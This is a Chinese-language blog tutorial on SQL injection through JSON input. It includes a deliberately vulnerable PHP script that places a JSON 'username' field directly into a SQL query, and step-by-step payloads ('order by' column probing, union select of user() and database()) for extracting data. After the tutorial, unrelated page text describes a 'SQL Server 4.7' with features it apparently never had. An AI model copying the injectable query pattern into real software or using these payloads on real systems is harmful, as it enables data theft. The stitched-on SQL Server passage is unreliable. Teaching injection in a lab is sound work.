4.7SQL注入之json注入

4.7SQL注入之json注入

本章学习目的:

1.了解什么json数据格式

2.了解json注入的方式

3.了解什么场景下会使用json进行注入

1.什么是json?

JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。

json的数据类型:

image.png

创建一个json对象
const jsonStr ='{"name":"mc","age":18,"sex":"男"}'
const jsonObject = JSON.parse(jsonStr);

输出解析json数据
Object.keys(jsonObject).forEach(item=>{console.log(item,":",jsonObject[item])})

转换成json字符串
const toJSON = JSON.stringify(jsonObject);console.log(toJSON);

2.json注入

原理:JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造JSON,则可以更改JSON 数据的语义。

危害:
攻击者可以利用JSON注入漏洞在JSON数据中插入元素,从而允许JSO数据对业务非常关键的值执行恶意操作,获取管理权限等
严重的可能导致XSS和动态解析代码

防御:
检查程序逻辑,根据实际需求对数据进行合理过滤和安全校验,以避免产生JSON注使用JSON标准对JSON 数据进行处理,防止JSON注入

3.案例演示

1.php源码:
<?php
  // php防止中文乱码
  header('content-type:text/html;charset=utf-8');
  
  if(isset($_POST['json'])){
    $json_str=$_POST['json'];
    $json=json_decode($json_str);
    if(!$json){
      die('JSON文档格式有误,请检查');
    }
    $username=$json->username;
    //$password=$json->password;
 
    // 建立mysql连接,root/root连接本地数据库
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
      die('数据库连接失败:'.$mysqli->connect_error);
    }

    // 要操作的数据库名,我的数据库是security
    $mysqli->select_db('security');
    if($mysqli->errno){
      dir('打开数据库失败:'.$mysqli->error);
    }

    // 数据库编码格式
    $mysqli->set_charset('utf-8');

    // 从users表中查询username,password字段
    $sql="SELECT username,password FROM users WHERE username='{$username}'";
    $result=$mysqli->query($sql);
    if(!$result){
      die('执行SQL语句失败:'.$mysqli->error);
    }else if($result->num_rows==0){
      die('查询结果为空');
    }else {
      $array1=$result->fetch_all(MYSQLI_ASSOC);
      echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
    }

    // 释放资源
    $result->free();
    $mysqli->close();
  }
?>
2.进行注入

1、按照特定的数据格式查询admin用户密码

json={“username”:“admin”}

image.png

2、查看源代码,构造payload

image.png

代码中的sql语句是这个样子的

构造payload进行注入

json={“username”:“admin’ order by 3#”}

3、判断当前数据库有多少列

2正常,3报错,判断当前数据库有2列

4、注入带出来数据

json={“username”:“admin’ and 1=2 union select 1,2#”}

json={“username”:“admin’ and 1=2 union select user(),database()#”}

  • 7
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL Server 4.7是一种用于数据存储和管理的关系型数据库管理系统。它被广泛应用在企业和组织中,用于存储和管理大量的数据。 在使用SQL Server 4.7时,数据恢复是非常重要的。数据恢复是指在数据库系统发生故障或数据丢失时,通过一系列操作恢复数据的过程。SQL Server 4.7提供了强大的恢复功能,以确保数据的可靠性和完整性。 SQL Server 4.7的恢复功能包括事务日志和备份恢复。事务日志记录了所有数据库操作的详细信息,包括插入、更新和删除等操作。当发生故障时,可以通过事务日志来恢复丢失的数据。 备份恢复是指通过定期备份数据库的方式来恢复数据。SQL Server 4.7可以生成完整备份、差异备份和事务日志备份等多种类型的备份。在发生故障时,可以利用备份文件来还原数据库并恢复丢失的数据。 此外,SQL Server 4.7还提供了数据库镜像和复制功能来增加数据的可用性和冗余性。数据库镜像可以将一个数据库实时复制到另一个服务器上,以实现高可用性和灾难恢复。数据库复制允许将数据库的副本复制到其他服务器上,以提高性能和可靠性。 总而言之,SQL Server 4.7提供了强大的数据恢复功能,可以通过事务日志、备份恢复、数据库镜像和复制等方式来保证数据的可靠性和完整性。这些功能对于企业和组织来说至关重要,以确保数据的安全和稳定性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值